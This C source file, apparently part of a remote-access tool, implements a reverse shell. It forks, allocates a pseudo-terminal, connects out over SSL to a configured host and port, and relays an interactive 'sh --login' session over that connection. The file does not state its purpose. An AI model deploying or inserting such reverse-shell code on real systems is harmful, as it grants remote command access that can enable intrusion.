/*
 * ============================================================================
 *
 *       Filename:  bash.c
 *
 *    Description:  
 *
 *        Version:  1.0
 *        Created:  2015年04月07日 15时15分13秒
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  jianxi sun (jianxi), ycsunjane@gmail.com
 *   Organization:  
 *
 * ============================================================================
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

/* posix_openpt */
#include <stdlib.h>
#include <fcntl.h>
/* sockaddr_in */
#include <netinet/in.h>
/* kill */
#include <signal.h>
/* prctl */
#include <sys/prctl.h>

#include "common.h"

static int bashfd(struct sockaddr_in *addr)
{
	int fd = Socket(AF_INET, SOCK_STREAM, 0);
	if(fd < 0)
		return -1;

	socklen_t addr_len = sizeof(*addr);
	addr->sin_port = htons(BASHPORT);
	if(!connect(fd, (void *)addr, addr_len) && 
		tcp_alive(fd)) {
		sys_debug("connect success\n");
		return fd;
	} else {
		sys_debug("connect failed\n");
		return -1;
	}
}

static int bashpid;
static void term(int signum)
{
	sys_debug("kill bash: %d\n", bashpid);
	kill(bashpid, SIGKILL);
	exit(0);
}

static void init_signal()
{
	struct sigaction act;
	memset(&act, 0, sizeof(act));
	act.sa_handler = term;
	sigaction(SIGTERM, &act, NULL);
	sigaction(SIGINT, &act, NULL); 
	sigaction(SIGKILL, &act, NULL); 
	sigaction(SIGHUP, &act, NULL); 
}

static void killme()
{
	prctl(PR_SET_PDEATHSIG, SIGHUP);
	init_signal();
}

static char *pty_init(int *pptm)
{
	int ptm = posix_openpt(O_RDWR);
	if(ptm < 0) {
		sys_warn("posix_openpt failed: %s(%d\n)", 
			strerror(errno), errno);
		exit(-1);
	}

	if(grantpt(ptm) < 0) {
		sys_warn("grantpt failed: %s(%d\n)", 
			strerror(errno), errno);
		exit(-1);
	}

	if(unlockpt(ptm) < 0){
		sys_warn("unlockpt failed: %s(%d\n)", 
			strerror(errno), errno);
		exit(-1);
	}

	char *name = ptsname(ptm);
	if(!name) {
		sys_warn("ptsname failed: %s(%d\n)", 
			strerror(errno), errno);
		exit(-1);
	}

	*pptm = ptm;

	return name;
}

void bashfrom(struct sockaddr_in *addr)
{
	pid_t pid;
	if( (pid = fork()) < 0) {
		sys_warn("Fork failed: %s(%d)\n", strerror(errno), errno);
		exit(-1);
	} else if(pid) {
		return;
	}

	killme();
	int ptm;
	char *ptsname = pty_init(&ptm);
	int fd = bashfd(addr);
	if(fd < 0) return;

	SSL *ssl;
	if( !(ssl = ssltcp_ssl(fd))) {
		sys_warn("Create ssl failed\n");
		close(fd);
		return;
	}

	if( ssltcp_connect(ssl) < 0) {
		sys_warn("connect ssl failed\n");
		close(fd);
		return;
	}

	if( (bashpid = fork()) < 0) {
		sys_warn("Fork failed: %s(%d)\n", 
			strerror(errno), errno);
		exit(-1);
	} else if(bashpid == 0) {
		if(setsid() < 0) {
			sys_warn("set new session id failed: %s(%d)\n",
				strerror(errno), errno);
			exit(-1);
		}
		int pts = open(ptsname, O_RDWR);
		if(pts < 0) {
			sys_warn("open %s failed: %s(%d)\n", 
				ptsname, strerror(errno), errno);
			exit(-1);
		}

		dup2(pts, 0);
		dup2(pts, 1);
		dup2(pts, 2);
		chdir(getenv("HOME"));
		if(execlp("sh", "sh", "--login", NULL) < 0) {
			sys_warn("Execlp failed: %s(%d)\n", 
				strerror(errno), errno);
			exit(-1);
		}
	} else {
		exchange(ptm, fd, ssl);
		kill(bashpid, SIGKILL);
		exit(0);
	}
}
